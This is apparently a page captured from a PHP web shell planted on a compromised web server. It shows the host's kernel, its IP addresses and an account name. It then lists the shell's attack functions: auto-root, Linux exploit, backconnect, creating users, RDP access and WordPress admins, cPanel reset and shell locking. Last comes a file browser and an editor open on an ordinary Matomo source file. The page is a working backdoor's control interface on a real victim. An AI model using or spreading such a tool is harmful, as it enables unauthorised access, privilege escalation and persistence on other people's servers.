Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.144.113.109
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Plugin /
[ HOME SHELL ]
Name
Size
Permission
Action
Dimension
[ DIR ]
drwxr-xr-x
API.php
4.12
KB
-rw-r--r--
AggregatedMetric.php
612
B
-rw-r--r--
ArchivedMetric.php
5.58
KB
-rw-r--r--
Archiver.php
5.64
KB
-rw-r--r--
Categories.php
1.99
KB
-rw-r--r--
ComponentFactory.php
4.94
KB
-rw-r--r--
ComputedMetric.php
8.45
KB
-rw-r--r--
ConsoleCommand.php
1.43
KB
-rw-r--r--
Controller.php
41.92
KB
-rw-r--r--
ControllerAdmin.php
16.01
KB
-rw-r--r--
Dependency.php
5.98
KB
-rw-r--r--
LogTablesProvider.php
3.11
KB
-rw-r--r--
Manager.php
52.91
KB
-rw-r--r--
Menu.php
11.54
KB
-rw-r--r--
MetadataLoader.php
3.73
KB
-rw-r--r--
Metric.php
6.41
KB
-rw-r--r--
PluginException.php
1.11
KB
-rw-r--r--
ProcessedMetric.php
2.27
KB
-rw-r--r--
ReleaseChannels.php
2.55
KB
-rw-r--r--
Report.php
35.26
KB
-rw-r--r--
ReportsProvider.php
9.3
KB
-rw-r--r--
RequestProcessors.php
630
B
-rw-r--r--
Segment.php
12.75
KB
-rw-r--r--
SettingsProvider.php
7.15
KB
-rw-r--r--
Tasks.php
5.37
KB
-rw-r--r--
ThemeStyles.php
5.82
KB
-rw-r--r--
ViewDataTable.php
21.71
KB
-rw-r--r--
Visualization.php
33.17
KB
-rw-r--r--
WidgetsProvider.php
4.53
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Dependency.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugin; use Composer\Semver\VersionParser; use Piwik\Plugin\Manager as PluginManager; use Piwik\Plugins\Marketplace\Environment; use Piwik\Version; /** * */ class Dependency { private $piwikVersion; private $phpVersion; public function __construct() { $this->setPiwikVersion(Version::VERSION); $this->setPhpVersion(PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION . '.' . PHP_RELEASE_VERSION); } public function setEnvironment(Environment $environment) { $this->setPiwikVersion($environment->getPiwikVersion()); $this->setPhpVersion($environment->getPhpVersion()); } public function getMissingDependencies($requires) { $missingRequirements = array(); if (empty($requires)) { return $missingRequirements; } foreach ($requires as $name => $requiredVersion) { $currentVersion = $this->getCurrentVersion($name); if (in_array(strtolower($name), ['piwik', 'matomo'])) { $requiredVersion = $this->markPluginsWithoutUpperBoundMatomoRequirementAsIncompatible($requiredVersion); } $missingVersions = $this->getMissingVersions($currentVersion, $requiredVersion); if (!empty($missingVersions)) { $missingRequirements[] = array( 'requirement' => $name, 'actualVersion' => $currentVersion, 'requiredVersion' => $requiredVersion, 'causedBy' => implode(', ', $missingVersions) ); } } return $missingRequirements; } public function getMissingVersions($currentVersion, $requiredVersion) { $currentVersion = trim($currentVersion ?? ''); $missingVersions = array(); if (empty($currentVersion)) { if (!empty($requiredVersion)) { $missingVersions[] = (string) $requiredVersion; } return $missingVersions; } $requiredVersion = $this->makeVersionBackwardsCompatibleIfNoComparisonDefined($requiredVersion); $version = new VersionParser(); $constraintsExisting = $version->parseConstraints($currentVersion); $requiredVersions = explode(',', (string) $requiredVersion); foreach ($requiredVersions as $required) { $required = trim($required); if (empty($required)) { continue; } $required = $this->makeVersionBackwardsCompatibleIfNoComparisonDefined($required); $constraintRequired = $version->parseConstraints($required); if (!$constraintRequired->matches($constraintsExisting)) { $missingVersions[] = $required; } } return $missingVersions; } /** * Upon Matomo 4 we require a lower and upper version bound for Matomo to be set in plugin.json * If that is not the case we assume the plugin not to be compatible with Matomo 4 * * @param string $requiredVersion * @return string */ private function markPluginsWithoutUpperBoundMatomoRequirementAsIncompatible($requiredVersion) { if (strpos($requiredVersion, ',') !== false) { return $requiredVersion; } $minVersion = str_replace(array('>', '=', '<', '!', '~', '^'), '', $requiredVersion); if (preg_match("/^\<=?\d/", $requiredVersion)) { $upperLimit = '>=' . $minVersion[0] . '.0.0-b1,' . $requiredVersion; } else if (!empty($minVersion) && is_numeric($minVersion[0])) { $upperLimit = $requiredVersion . ',<' . ($minVersion[0] + 1) . '.0.0-b1'; } else { $upperLimit = '>=4.0.0-b1,<5.0.0-b1'; } return $upperLimit; } private function makeVersionBackwardsCompatibleIfNoComparisonDefined($version) { if (!empty($version) && preg_match('/^(\d+)\.(\d+)/', $version)) { // TODO: we should remove this from piwik 3. To stay BC we add >= if no >= is defined yet $version = '>=' . $version; } return $version; } public function setPiwikVersion($piwikVersion) { $this->piwikVersion = $piwikVersion; } public function setPhpVersion($phpVersion) { $this->phpVersion = $phpVersion; } public function hasDependencyToDisabledPlugin($requires) { if (empty($requires)) { return false; } foreach ($requires as $name => $requiredVersion) { $nameLower = strtolower($name); $isPluginRequire = !in_array($nameLower, array('piwik', 'php', 'matomo')); if ($isPluginRequire) { // we do not check version, only whether it's activated. Everything that is not piwik or php is assumed // a plugin so far. if (!PluginManager::getInstance()->isPluginActivated($name)) { return true; } } } return false; } private function getCurrentVersion($name) { switch (strtolower($name)) { case 'matomo': case 'piwik': return $this->piwikVersion; case 'php': return $this->phpVersion; default: try { $pluginNames = PluginManager::getAllPluginsNames(); if (!in_array($name, $pluginNames) || !PluginManager::getInstance()->isPluginLoaded($name)) { return ''; } $plugin = PluginManager::getInstance()->loadPlugin(ucfirst($name)); if (!empty($plugin)) { return $plugin->getVersion(); } } catch (\Exception $e) { } } return ''; } }
Close